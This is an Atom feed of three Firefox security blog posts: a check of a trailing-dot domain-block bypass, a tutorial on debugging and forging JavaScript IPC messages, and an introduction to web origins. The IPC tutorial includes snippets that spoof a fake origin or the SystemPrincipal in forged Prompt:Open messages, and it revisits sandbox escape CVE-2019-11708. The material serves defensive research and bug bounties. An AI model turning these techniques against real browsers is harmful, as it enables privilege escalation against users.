<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Frederik Braun</title><link href="https://frederik-braun.com/" rel="alternate"></link><link href="https://frederik-braun.com/feeds/all.atom.xml" rel="self"></link><id>https://frederik-braun.com/</id><updated>2024-02-02T00:00:00+01:00</updated><entry><title>How Firefox gives special permissions to some domains</title><link href="https://frederik-braun.com/special-browser-privileges-for-some-domains.html" rel="alternate"></link><published>2024-02-02T00:00:00+01:00</published><updated>2024-02-02T00:00:00+01:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2024-02-02:/special-browser-privileges-for-some-domains.html</id><summary type="html">&lt;p&gt;Today, I found someone tweeting about a neat &lt;a href="https://crbug.com/1472898"&gt;security bug in Chrome, that
bypasses how Chrome disallows extensions from injecting JavaScript into
special domains like &lt;code&gt;chrome.google.com&lt;/code&gt;&lt;/a&gt;.
The intention of this block is that browsers give special permissions to
some internal pages that allow troubleshooting, resetting the browser,
installing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today, I found someone tweeting about a neat &lt;a href="https://crbug.com/1472898"&gt;security bug in Chrome, that
bypasses how Chrome disallows extensions from injecting JavaScript into
special domains like &lt;code&gt;chrome.google.com&lt;/code&gt;&lt;/a&gt;.
The intention of this block is that browsers give special permissions to
some internal pages that allow troubleshooting, resetting the browser,
installing extensions and more.&lt;/p&gt;
&lt;p&gt;The bug in question was an easy bypass of a domain block list due to a DNS
trick. Due to a strict host name match, an attacker could extend the current
hostname with a trailing dot to &lt;code&gt;chrome.google.com.&lt;/code&gt; and bypass the block.&lt;/p&gt;
&lt;p&gt;I believe, this allowed all extensions that can inject content scripts into
arbitrary domains to potentially make use of these extra privileges.&lt;/p&gt;
&lt;p&gt;Of course, this got me thinking. What if we have this bug in Firefox too?
So I went on and looked at our code. Fortunately, I have been playing with
our permission system for quite a while already, so I knew what to do.&lt;/p&gt;
&lt;p&gt;First of all, Firefox uses a so-called PermissionManager API, which gets
its default values from the file
&lt;a href="https://searchfox.org/mozilla-central/rev/14dc8f0e748d44778a02ffcf9ebcda3851b2bf9e/browser/app/permissions"&gt;browser/app/permissions&lt;/a&gt;
in the source tree. At the time of writing this article, the four different
possible permissions are &lt;code&gt;uitour&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, &lt;code&gt;remote-troubleshooting&lt;/code&gt; and
 &lt;code&gt;autoplay-media&lt;/code&gt;. So far, I have only looked into the first two, as I know
 how they work and what they do. But for the purpose of this analysis, and
 due to all of them going throgh the
 &lt;a href="https://searchfox.org/mozilla-central/source/netwerk/base/nsIPermissionManager.idl#47"&gt;PermissionManager&lt;/a&gt;,
 I am relatively confident that testing two of those should verify the
 behavior of the API in itself - regardless of the specific permissions and
 sites involved.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;install&lt;/code&gt; permission is used on &lt;code&gt;addons.mozilla.org&lt;/code&gt; to allow the website
to trigger the installation of Firefox extensions. In fact, you can test that
this is the case by navigating to &lt;code&gt;addons.mozilla.org&lt;/code&gt; and looking at the
exposed interfaces: &lt;code&gt;typeof AddonManager&lt;/code&gt; returns &lt;code&gt;"function"&lt;/code&gt;.
However, on any other web page, the result of that expression is &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now that we know how to test whether a page has the &lt;code&gt;install&lt;/code&gt; permission, we
can open tab that goes to &lt;code&gt;addons.mozilla.org.&lt;/code&gt; and do the same again.
What's &lt;code&gt;typeof AddonManager&lt;/code&gt; here? &lt;code&gt;undefined&lt;/code&gt;. No dice.&lt;/p&gt;
&lt;p&gt;Let's continue with the &lt;code&gt;uitour&lt;/code&gt; permission.
The &lt;code&gt;uitour&lt;/code&gt; permission is used in Firefox's new tab, support and download
pages. It is used to invoke functionality from the user interface.
When a Firefox user is being presented new features after a major upgrade,
the &lt;code&gt;uitour&lt;/code&gt; events can highlight Firefox menu buttons or open popups that
contain new funcionality.&lt;/p&gt;
&lt;p&gt;A specific example that I remember is that for example, when a Firefox user
tries to download a new Firefox package, we assume that they are confused or
dissatisfied with how their browser is setup right now. So instead of
offering a download file, we also suggest "refreshing" Firefox, which can
help undo some undesired customizations without losing stored passwords
and such.&lt;/p&gt;
&lt;p&gt;The code that you can run to try the &lt;code&gt;uitour&lt;/code&gt; feature on &lt;code&gt;www.mozilla.org&lt;/code&gt;
is as such:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CustomEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mozUITour&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;bubbles&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;resetFirefox&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Dispatching this event will get you a new impressive modal dialog that asks
the user if they really want to refresh Firefox.&lt;/p&gt;
&lt;p&gt;Now that we have a test for the &lt;code&gt;uitour&lt;/code&gt; feature, we can do the same thing
we tried last time: Add a trailing dot and try again.&lt;/p&gt;
&lt;p&gt;Going to &lt;code&gt;www.mozilla.org.&lt;/code&gt; and trying again yields similar results as above:
No prompt shows.&lt;/p&gt;
&lt;p&gt;To summarize: Our quick analysis has shown that even if we could get the web
extension code to be confused about whether a page should be scripted. The
 permission manager does not play along.&lt;/p&gt;
&lt;p&gt;I think we can safely assume that Firefox is not affected by the same bug.
But you shouldn't take my word for it. Feel free to prove me wrong:
Here are some links to our code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/AddonManagerWebAPI.cpp#84"&gt;AddonManager API code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://searchfox.org/mozilla-central/source/dom/webidl/AddonManager.webidl#60"&gt;AddonManager Interface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://searchfox.org/mozilla-central/search?q=_sendEvent&amp;amp;path=uitour&amp;amp;case=false&amp;amp;regexp=false"&gt;Code search for additional uitour event examples&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you feel like you have found something that I did not, please submit to the
&lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/"&gt;Firefox bug bounty program&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Examine Firefox Inter-Process Communication using JavaScript in 2023</title><link href="https://frederik-braun.com/examine-firefox-inter-process-communication-using-javascript-in-2023.html" rel="alternate"></link><published>2023-04-17T00:00:00+02:00</published><updated>2023-04-17T00:00:00+02:00</updated><author><name>Frederik Braun</name></author><id>tag:frederik-braun.com,2023-04-17:/examine-firefox-inter-process-communication-using-javascript-in-2023.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This is my update to the 2021 JavaScript IPC &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/04/27/examining-javascript-inter-process-communication-in-firefox/"&gt;blog post&lt;/a&gt; from the Firefox Attack &amp;amp; Defense blog.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Firefox uses Inter-Process Communication (IPC) to implement privilege separation, which makes it an important cornerstone in our security architecture. A previous blog post focused on &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/01/27/effectively-fuzzing-the-ipc-layer-in-firefox/"&gt;fuzzing the C++ side of IPC&lt;/a&gt;. This blog …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This is my update to the 2021 JavaScript IPC &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/04/27/examining-javascript-inter-process-communication-in-firefox/"&gt;blog post&lt;/a&gt; from the Firefox Attack &amp;amp; Defense blog.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Firefox uses Inter-Process Communication (IPC) to implement privilege separation, which makes it an important cornerstone in our security architecture. A previous blog post focused on &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/01/27/effectively-fuzzing-the-ipc-layer-in-firefox/"&gt;fuzzing the C++ side of IPC&lt;/a&gt;. This blog post will look at IPC in JavaScript, which is used in various parts of the user interface. First, we will briefly revisit the multi-process architecture and upcoming changes for &lt;a href="https://wiki.mozilla.org/Project_Fission"&gt;Project Fission&lt;/a&gt;, Firefox’ implementation for Site Isolation. We will then move on to examine two different JavaScript patterns for IPC and explain how to invoke them. Using Firefox’s Developer Tools (DevTools), we will be able to debug the browser itself.&lt;/p&gt;
&lt;p&gt;Once equipped with this knowledge, we will revisit a sandbox escape bug that was used in a&lt;a href="https://blog.coinbase.com/responding-to-firefox-0-days-in-the-wild-d9c85a57f15b"&gt; 0day attack against Coinbase in 2019&lt;/a&gt; and reported as &lt;a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-19/#CVE-2019-11708"&gt;CVE-2019-11708&lt;/a&gt;. This 0day-bug has found extensive coverage in&lt;a href="https://blog.exodusintel.com/2020/11/10/firefox-vulnerability-research-part-2/"&gt; blog posts&lt;/a&gt; and &lt;a href="https://github.com/0vercl0k/CVE-2019-11708"&gt;publicly available exploits&lt;/a&gt;. We believe the bug provides a great case study and the underlying techniques will help identify similar issues. Eventually, by finding more sandbox escapes you can help secure hundreds of millions of Firefox users as part of the &lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/"&gt;Firefox Bug Bounty Program&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Multi-Process Architecture Now and Then&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;As of April 2021, Firefox uses one privileged process to launch other process types and coordinate activities. These types are web content processes, semi-privileged web content processes (for special websites like accounts.firefox.com or addons.mozilla.org) and four kinds of utility processes for web extensions, GPU operations, networking or media decoding. Here, we will focus on the communication between the main process (also called "parent") and a multitude of web processes (or "content" processes).&lt;/p&gt;
&lt;p&gt;Firefox is shifting towards a new security architecture to achieve Site Isolation, which moves from a “process per tab” to a “process per &lt;a href="https://html.spec.whatwg.org/multipage/origin.html#sites"&gt;site&lt;/a&gt;” architecture.&lt;/p&gt;
&lt;p&gt;The parent process acts as a broker and trusted user interface host. Some features, like our settings page at about:preferences are essentially web pages (using HTML and JavaScript) that are hosted in the parent process. Additionally, various control features like modal dialogs, form auto-fill or native user interface pieces (e.g., the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element) are also implemented in the parent process. This level of privilege separation also requires receiving messages from content processes.&lt;/p&gt;
&lt;p&gt;Let's look at JSActors and MessageManager, the two most common patterns for using inter-process communication (IPC) from JavaScript:&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;JSActors&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;Using a &lt;a href="https://firefox-source-docs.mozilla.org/dom/ipc/jsactors.html"&gt;JSActor&lt;/a&gt; is the preferred method for JS code to communicate between processes. JSActors always come in pairs - with one implementation living in the child process and the counterpart in the parent. There is a separate parent instance for every pair in order to closely and consistently associate a message with either a specific content window (JSWindowActors), or child process (JSProcessActors).&lt;/p&gt;
&lt;p&gt;Since all JSActors are lazy-loaded we suggest to exercise the implemented functionality at least once, to ensure they are all present and allow for a smooth test and debug experience.&lt;/p&gt;
&lt;p&gt;&lt;img class="size-full wp-image-229" src="http://blog.mozilla.org/attack-and-defense/files/2021/04/jsactors.png" alt="Inter-Process Communication building on top of JSActors and implemented as FooParent and FooChild" width="555" height="533" /&gt;&lt;/p&gt;
&lt;p&gt;The example diagram above shows a pair of JSActors called &lt;i&gt;FooParent&lt;/i&gt; and &lt;i&gt;FooChild&lt;/i&gt;. Messages sent by invoking &lt;i&gt;FooChild&lt;/i&gt; will only be received by a &lt;i&gt;FooParent&lt;/i&gt;. The child instance can send a &lt;i&gt;one-off&lt;/i&gt; message with &lt;code&gt;sendAsyncMesage("someMessage", value)&lt;/code&gt;. If it needs a response (wrapped in a &lt;code&gt;Promise&lt;/code&gt;), it can send a query with &lt;code&gt;sendQuery("someMessage", value)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The parent instance must implement a &lt;code&gt;receiveMessage(msg)&lt;/code&gt; function to handle all incoming messages. Note that the messages are namespace-tied between a specific actor, so a &lt;i&gt;FooChild&lt;/i&gt; could send a message called &lt;i&gt;Bar:DoThing&lt;/i&gt; but will never be able to reach a &lt;i&gt;BarParent&lt;/i&gt;. Here is some example code (&lt;a href="https://searchfox.org/mozilla-central/diff/3075dbd453f011aaf378bcac6b2700dccfcf814c/browser/actors/PromptParent.jsm"&gt;permalink, revision from March 25th&lt;/a&gt;) which illustrates how a message is handled in the parent process.&lt;/p&gt;
&lt;p&gt;&lt;img class="size-full wp-image-221" src="http://blog.mozilla.org/attack-and-defense/files/2021/03/promptparent-excerpt.png" alt="Code sample for a receiveMessage function in a JSActor" width="506" height="275" /&gt;&lt;/p&gt;
&lt;p&gt;As illustrated, the &lt;i&gt;PromptParent&lt;/i&gt; has a &lt;code&gt;receiveMessage&lt;/code&gt; handler (line 127) and is passing the message data to additional functions that will decide where and how to open a prompt from the parent process. Message handlers like this and its callees are a source of untrusted data flowing into the parent process and provide logical entry points for in-depth audits&lt;/p&gt;
&lt;h3&gt;&lt;b&gt;Message Managers&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;Prior to the architecture change in Project Fission, most parent-child IPC occurred through the MessageManagers system. There were multiple message managers, including the per-process message manager and the content frame message manager, which was loaded per-tab.&lt;/p&gt;
&lt;p&gt;Under this system, JS in both processes would register message listeners using the &lt;code&gt;addMessageListener&lt;/code&gt; methods and would send messages with &lt;code&gt;sendAsyncMessage&lt;/code&gt;, that have a name and the actual content. To help track messages throughout the code-base their names are usually prefixed with the components they are used in (e.g., &lt;code&gt;SessionStore:restoreHistoryComplete&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Unlike JSActors, Message Managers need verbose initialization with addMessageListener and are not tied together. This means that messages are available for all classes that listen on the same message name and can be spread out through the code base.&lt;/p&gt;
&lt;p&gt;&lt;img class="wp-image-230 size-full" src="http://blog.mozilla.org/attack-and-defense/files/2021/04/image6.png" alt="Inter-Process Communication using MessageManager" width="555" height="533" /&gt; Inter-Process Communication using MessageManager&lt;/p&gt;
&lt;p&gt;As of late April 2021, our AddonsManager - the code that handles the installation of WebExtensions into Firefox - is using MessageManager APIs:&lt;/p&gt;
&lt;p&gt;&lt;img class="size-full wp-image-222" src="http://blog.mozilla.org/attack-and-defense/files/2021/03/addonsmanager-receivemessage-code-sample.png" alt="Code sample for a receiveMessage function using the MessageManger API" width="511" height="261" /&gt; Code sample for a &lt;code&gt;receiveMessage&lt;/code&gt; function using the MessageManger API&lt;/p&gt;
&lt;p&gt;The code (&lt;a href="https://searchfox.org/mozilla-central/rev/6309f663e7396e957138704f7ae7254c92f52f43/toolkit/mozapps/extensions/addonManager.js#216"&gt;permalink to exact revision&lt;/a&gt;) for setting a MessageManager looks very similar to the setup of a JSActor with the difference that messaging can be used synchronously, as indicated by the &lt;a href="https://searchfox.org/mozilla-central/rev/6309f663e7396e957138704f7ae7254c92f52f43/toolkit/mozapps/extensions/amInstallTrigger.jsm#64"&gt;sendSyncMessage call in the child process&lt;/a&gt;. Except for the lack of lazy-loading, you can assume the same security considerations: Just like with JSActors above, the &lt;code&gt;receiveMessage&lt;/code&gt; function is where the untrusted information flows from the child into the parent process and should therefore be the focus of additional scrutiny.&lt;/p&gt;
&lt;p&gt;Finally, if you want to inspect &lt;code&gt;MessageManager&lt;/code&gt; traffic live, you can use our &lt;a href="https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Gecko_Logging"&gt;logging framework&lt;/a&gt; and run Firefox with the environment variable &lt;code&gt;MOZ_LOG&lt;/code&gt; set to &lt;code&gt;MessageManager:5&lt;/code&gt;. This will log the received messages for all processes to the shell and give you a better understanding of what’s being sent and when.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Inspecting, Debugging, and Simulating JavaScript IPC&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Naturally, source auditing a &lt;code&gt;receiveMessage&lt;/code&gt; handler is best paired with testing. So let's discuss how we invoke these functions in the child process and attach a JavaScript debugger to the parent process. This allows us to simulate a scenario where we have already full control over the child process. For this, we recommend you download and test against &lt;a href="https://nightly.mozilla.org/"&gt;Firefox Nightly&lt;/a&gt; to ensure you're testing the latest code - it will also give you the benefit of being in sync with codesearch for the latest revisions at &lt;a href="https://searchfox.org"&gt;https://searchfox.org&lt;/a&gt;. For best experience, we recommend you &lt;a href="https://nightly.mozilla.org/"&gt;download Firefox Nightly&lt;/a&gt; right now and follow this part of the blog post step by step.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;DevTools Setup - Parent Process&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;First, set up your Firefox Nightly to enable browser debugging. Note that the instructions for how to enable browser debugging can change over time, so it's best you cross-check with the&lt;a href="https://developer.mozilla.org/en-US/docs/Tools#debugging_the_browser"&gt; instructions for Debugging the browser on MDN&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Open the Developer Tools, click the "&lt;b&gt;···&lt;/b&gt;" button in the top-right and find the settings. Within &lt;i&gt;Advanced settings&lt;/i&gt; in the bottom-right, check the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li aria-level="1"&gt;&lt;i&gt;Enable browser chrome and add-on debugging toolboxes&lt;/i&gt;&lt;/li&gt;
  &lt;li aria-level="1"&gt;&lt;i&gt;Enable remote debugging&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Restart Firefox Nightly and open the Browser debugger (Tools -&amp;gt; Browser Tools -&amp;gt; Browser Toolbox). This will open a new window that looks very similar to the common DevTools.&lt;/p&gt;
&lt;p&gt;This is your debugger for the parent process (i.e., Browser Toolbox = Parent Toolbox).&lt;/p&gt;
&lt;p&gt;The frame selector button, which is left of the three balls "&lt;b&gt;···&lt;/b&gt;" will allow you to select between windows. Select browser.xhtml, which is the main browser window. Switching to the Debug pane will let you search files and find the Parent actor you want to debug, as long as they have been already loaded. To ensure the &lt;em&gt;PromptParent&lt;/em&gt; actor has been properly initialized, open a new tab on e.g. &lt;a href="https://example.com"&gt;https://example.com&lt;/a&gt; and make it call &lt;code&gt;alert(1)&lt;/code&gt; from the normal DevTools console.&lt;/p&gt;
&lt;p&gt;[caption id="attachment_223" align="aligncenter" width="1847"]&lt;img class="size-full wp-image-223" src="http://blog.mozilla.org/attack-and-defense/files/2021/03/alert-as-triggered-from-website-in-parent-devtools.png" alt="Hitting a breakpoint in Firefox’s parent process using Firefox Developer Tools (left)" width="1847" height="1173" /&gt; Hitting a breakpoint in Firefox’s parent process using Firefox Developer Tools &lt;a href="/caption"&gt;left&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You should now be able to find PromptParent.jsm (Ctrl+P) and set a debugger breakpoint for all future invocations (see screenshot above). This will allow you to inspect and copy the typical arguments passed to the Prompt JSActor in the parent.&lt;/p&gt;
&lt;p&gt;Note: Once you hit a breakpoint, you can enter code into the Developer Console which is then executed within the currently intercepted function.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;DevTools Setup - Child Process&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Now that we know how to inspect and obtain the parameters which the parent process is expecting for &lt;code&gt;Prompt:Open&lt;/code&gt;, let's try and trigger it from a debugged child process: Ensure you are on a typical web page, like &lt;a href="https://example.com"&gt;https://example.com&lt;/a&gt;, so you get the right kind of content child process. Then, through the Tools menu, find the "Browser Content Toolbox". Content here refers to the child process (Content Toolbox = Child Toolbox).&lt;/p&gt;
&lt;p&gt;Since every content process might have many windows of the same site associated with it, we need to find the current window. This snippet assumes it is the first tab and gets the Prompt actor for that tab:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;actor = tabs[0].content.windowGlobalChild.getActor("Prompt");&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now that we have the actor, we can use the data gathered in the parent process and send the very same data. Or maybe, a variation thereof:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;actor.sendQuery("Prompt:Open", {promptType: "alert", title: "👻", modalType: 1, promptPrincipal: null, inPermutUnload: false, _remoteID: "id-lol"});&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img class="size-full wp-image-225" src="http://blog.mozilla.org/attack-and-defense/files/2021/03/Bildschirmfoto-vom-2021-03-26-15-45-18.png" alt="Invoking JavaScript IPC from Firefox Developer Tools (bottom right) and observing the effects (top right)" width="1848" height="1169" /&gt; Invoking JavaScript IPC from Firefox Developer Tools (bottom right) and observing the effects (top right)&lt;/p&gt;
&lt;p&gt;In this case, we got away with not sending a reasonable value for &lt;code&gt;promptPrincipal&lt;/code&gt; at all. This is certainly not going to be true for all message handlers. For the sake of this blog post, we can just assume that a &lt;em&gt;Principal&lt;/em&gt; is the implementation of an &lt;a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin"&gt;Origin&lt;/a&gt; (and for background reading, we recommend an explanation of the &lt;em&gt;Principal&lt;/em&gt; Objects in our two-series blog post "Understanding Web Security Checks in Firefox": See &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/06/10/understanding-web-security-checks-in-firefox-part-1/"&gt;part 1&lt;/a&gt; and &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/08/05/understanding-web-security-checks-in-firefox-part-2/"&gt;part 2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In case you wonder why the content process is allowed to send a potentially arbitrary &lt;em&gt;Principal&lt;/em&gt; (e.g., the origin): This is currently a known limitation and will be fixed while we are en route to full site-isolation (&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505832"&gt;bug 1505832&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;If you want to try to send another, faked origin - maybe from a different website or maybe the most privileged &lt;em&gt;Principal&lt;/em&gt; - the one that is bypassing all security checks, the &lt;em&gt;SystemPrincipal&lt;/em&gt;, you can use these snippets to replace the &lt;em&gt;promptPrincipal&lt;/em&gt; in the IPC message:&lt;/p&gt;
&lt;pre&gt;const {Services} = ChromeUtils.import("resource://gre/modules/Services.jsm");
otherPrincipal = Services.scriptSecurityManager.createContentPrincipalFromOrigin("https://evil.test");
systemPrincipal = Services.scriptSecurityManager.getSystemPrincipal();&lt;/pre&gt;
&lt;p&gt;Note that validating the association between process and site is already &lt;a href="https://searchfox.org/mozilla-central/rev/6309f663e7396e957138704f7ae7254c92f52f43/dom/ipc/ContentParent.cpp#1348"&gt;enforced in debug builds&lt;/a&gt;. If you compiled your own Firefox, this will cause the content process to crash.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Revisiting Previous Security Issues&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Now that we have the setup in place we can revisit the security vulnerability mentioned above: &lt;a href="https://www.mozilla.org/en-US/security/advisories/mfsa2019-19/#CVE-2019-11708"&gt;CVE-2019-11708&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The issue in itself was a typical logic bug: Instead of switching which prompt to open in the parent process, the vulnerable version of this code accepted the URL to an internal prompt page, implemented as an XHTML page. But by invoking this message, the attacker could cause the parent process to open any web-hosted page instead. This allowed them to re-open their content process exploit again in the parent process and escalate to a full compromise.&lt;/p&gt;
&lt;p&gt;Let's take a look at  the diff for the security fix to see how we replaced the vulnerable logic and handled the prompt type switching in the parent process (&lt;a href="https://searchfox.org/mozilla-central/diff/3075dbd453f011aaf378bcac6b2700dccfcf814c/browser/actors/PromptParent.jsm#141"&gt;permalink to source&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img class="size-full wp-image-226" src="http://blog.mozilla.org/attack-and-defense/files/2021/03/diff-prompt-coinbase-0day.png" alt="Handling of untrusted message.data before and after fixing CVE-2019-11708." width="629" height="419" /&gt; Handling of untrusted &lt;code&gt;message.data&lt;/code&gt; before and after fixing CVE-2019-11708.&lt;/p&gt;
&lt;p&gt;You will notice that line 140+ used to accept and use a parameter named &lt;code&gt;uri&lt;/code&gt;. This was fixed in a multitude of patches. In addition to only allowing certain dialogs to open in the parent process we also generally &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/07/07/hardening-firefox-against-injection-attacks-the-technical-details/"&gt;disallow opening web-URLs in the parent process&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you want to try this yourself, download a version of Firefox before 67.0.4 and try sending a &lt;code&gt;Prompt:Open&lt;/code&gt; message with an arbitrary URL.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Next Steps&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;In this blog post, we have given an introduction to Firefox IPC using JavaScript and how to debug the child and the parent process using the Content Toolbox and the Browser Toolbox, respectively. Using this setup, you are now able to simulate a fully compromised child process, audit the message passing in source code and analyze the runtime behavior across multiple processes.&lt;/p&gt;
&lt;p&gt;If you are already experienced with Fuzzing and want to analyze how high-level concepts from JavaScript get serialized and deserialized to pass the process boundary, please check our previous blog post on &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/01/27/effectively-fuzzing-the-ipc-layer-in-firefox/"&gt;Fuzzing the IPC layer of Firefox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are interested in testing and analyzing the source code at scale, you might also want to look into the &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/05/25/firefox-codeql-databases-available-for-download/"&gt;CodeQL databases&lt;/a&gt; that we publish for all Firefox releases.&lt;/p&gt;
&lt;p&gt;If you want to know more about how our developers port legacy MessageManager interfaces to JSActors, you can take another look at our &lt;a href="https://firefox-source-docs.mozilla.org/dom/ipc/jsactors.html"&gt;JSActors documentation&lt;/a&gt; and at how Mike Conley ported the popup blocker in his &lt;a href="https://www.youtube.com/watch?v=mtIt6ir9GHU"&gt;Joy of Coding live stream Episode 204.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Finally, we at Mozilla are really interested in the bugs you might find with these techniques - bugs like confused-deputy attacks, where the parent process can be tricked into using its privileges in a way the content process should not be able to (e.g. reading/writing arbitrary files on the filesystem) or UXSS-type attacks, as well as &lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/#exploit-mitigation-bounty"&gt;bypasses of exploit mitigations&lt;/a&gt;. Note that as of April 2021, we are not enforcing full site-isolation. Bugs that allow one to impersonate another site will &lt;i&gt;not&lt;/i&gt; yet be eligible for a bounty. Submit your findings through our &lt;a href="https://www.mozilla.org/en-US/security/client-bug-bounty/#claiming-a-bounty"&gt;bug bounty program&lt;/a&gt; and follow us at the&lt;a href="https://twitter.com/attackndefense"&gt; @attackndefense&lt;/a&gt; Twitter account for more updates.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Origins, Sites and other Terminologies</title><link href="https://frederik-braun.com/origins-sites-and-other-terminologies.html" rel="alternate"></link><published>2023-01-14T00:00:00+01:00</published><updated>2023-01-14T00:00:00+01:00</updated><author><name>Frederik Braun</name></author><id>tag:frederik-braun.com,2023-01-14:/origins-sites-and-other-terminologies.html</id><summary type="html">&lt;p&gt;In order to fully discuss security issues, their common root causes and useful prevention or mitigation techniques, you will need some common ground on the security model of the web. This, in turn, relies on various terms and techniques that will be presented in the next sections.&lt;/p&gt;
&lt;p&gt;Feel free to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In order to fully discuss security issues, their common root causes and useful prevention or mitigation techniques, you will need some common ground on the security model of the web. This, in turn, relies on various terms and techniques that will be presented in the next sections.&lt;/p&gt;
&lt;p&gt;Feel free to skip ahead, if you are familiar with some of the following concepts.&lt;/p&gt;
&lt;h2&gt;The Same-Origin Policy&lt;/h2&gt;
&lt;p&gt;The most important notion of scope on the web is an &lt;em&gt;Origin&lt;/em&gt;.
An origin is usually a tuple of a scheme, a host and a port of a URL.
Generally, documents can only interact with each other when hosted
on the same origin. In essence, this means that two communicating
documents' URLs should have the same scheme, host and port.&lt;/p&gt;
